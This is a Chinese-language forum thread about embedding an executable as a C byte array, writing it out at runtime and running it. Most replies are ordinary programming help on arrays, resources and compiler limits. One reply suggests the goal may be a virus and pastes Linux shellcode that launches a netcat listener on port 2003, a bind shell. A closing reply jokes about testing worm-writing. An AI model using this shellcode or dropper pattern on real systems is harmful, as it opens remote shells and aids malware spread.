能力值:
(RANK:300 )
|
-
-
2 楼
学习 malloc
|
能力值:
( LV13,RANK:460 )
|
-
-
3 楼
我的意思是:有一个(exe)文件,我用WINHEX打开后,将数据以 C 的16进制形垫,存放在data[]中,运行我的程序时,将data中的数据写入新建的EXE文件中,
然后SHELL调用,运行新建的EXE文件。:)
|
能力值:
(RANK:300 )
|
-
-
4 楼
检查 exe 的大小之后用 malloc 取空间,找教程看看
不要再想 data[]
浪费内存空间制造巨型数组放置大小不定的数据
|
能力值:
( LV15,RANK:1673 )
|
-
-
5 楼
4K大应该没问题
还有方法就是将那个EXE文件直接附在你的程序后面,用时读出来再写成一个新的文件.
|
能力值:
( LV13,RANK:460 )
|
-
-
6 楼
AloneWolf:好像明白了的我想法了:)
我是想,不能将exe文件以数据形势 保存在常量中吗??
如果能怎么做???
我这方面学的不扎实,好像设及到编译方式的问题了!
riijj:我的目的是不要两个文件,
在开发时,将目标文件就以数据的形势保存在常量中,运行程序时动态的用常量中的数据建一个EXE文件,明白吗?
谢谢两位:)
|
能力值:
( LV15,RANK:1673 )
|
-
-
7 楼
你说的HEX也不是不可以,这样就行了,如;
const unsigned char ExeFileData[]={
0x4d,0x5a......
};
到时再将ExeFileData的内容写到ExeFile就行了...
|
能力值:
(RANK:300 )
|
-
-
8 楼
啊,原来你想把 exe 放在你的执行文件
你可以把那 exe 当成一般的资源存在你的执行文件 (像一个程序的 icon, cursor , 图片一样)
举例说,如果你用 VC6 ,你只需要把那 exe 加到你的 project 里,把它
当成资源
运行的时候,用 LoadResource 跟 LockResource 取得它的位置 (pointer to first byte )
|
能力值:
( LV13,RANK:460 )
|
-
-
9 楼
AloneWolf:
不行啊!!
我就是这样试过,你在VC里试试!:) 不让粘贴。
提示:Line broken:the line would exceed 2048 characters
#################################
riijj:
你的思路不错,我没想到过:)
回来试试,
关建是在TC2中怎么办呢??我用的是VC6,可如果在TC2中,还是用data常量好用:)
|
能力值:
( LV15,RANK:500 )
|
-
-
10 楼
如果非要用这种只有老师才会用的方法(嘿嘿)
你用winhex来拷贝为C style的数组定义,会替你断行
C编译器报错信息已经很明白了,你把数组所有内容都写在一行了.
|
能力值:
( LV13,RANK:460 )
|
-
-
11 楼
哈哈!!成功!成功!!!
原来是这么一回事!
怎么这还有要求啊???
真是怪!!!
写一行与写多行不一样吗??
反正都是DATA中的数据呗!!
谢谢 !!!!
|
能力值:
( LV13,RANK:460 )
|
-
-
12 楼
不对!!不对
我做了个变态的试验,开了一个RAR包(1.2M)这样就不行了!!
这是什么原因限制的?
|
能力值:
( LV15,RANK:1673 )
|
-
-
13 楼
16位下的?
一个段最多才64K....1.2M当然不行,VC下应该可以吧...
|
能力值:
( LV13,RANK:460 )
|
-
-
14 楼
我就是在VC下的啊!
|
能力值:
( LV2,RANK:10 )
|
-
-
15 楼
写病毒呢?可以写成你说的那16进制,找些shellcode的编写教程应该可以参出来
和这个类似吧
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define bufsize 272
char shellcode[] =
"\xeb\x33\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x0d\x88"
"\x46\x12\x89\x76\x13\x8d\x5e\x08\x89\x5e\x17\x8d\x5e\x0b\x89"
"\x5e\x1b\x8d\x5e\x0e\x89\x5e\x1f\x89\x46\x23\xb0\x0b\x89\xf3"
"\x8d\x4e\x13\x8d\x56\x23\xcd\x80\xe8\xc8\xff\xff\xff\x2f\x75"
"\x73\x72\x2f\x6e\x63\x23\x2d\x6c\x23\x2d\x70\x23\x32\x30\x30"
"\x33\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44"
"\x44\x44\x44\x45\x45\x45\x45";
int main(int argc,char *argv[]){
|
能力值:
( LV13,RANK:460 )
|
-
-
16 楼
测试一下写里蠕虫的能力:)
|
|
|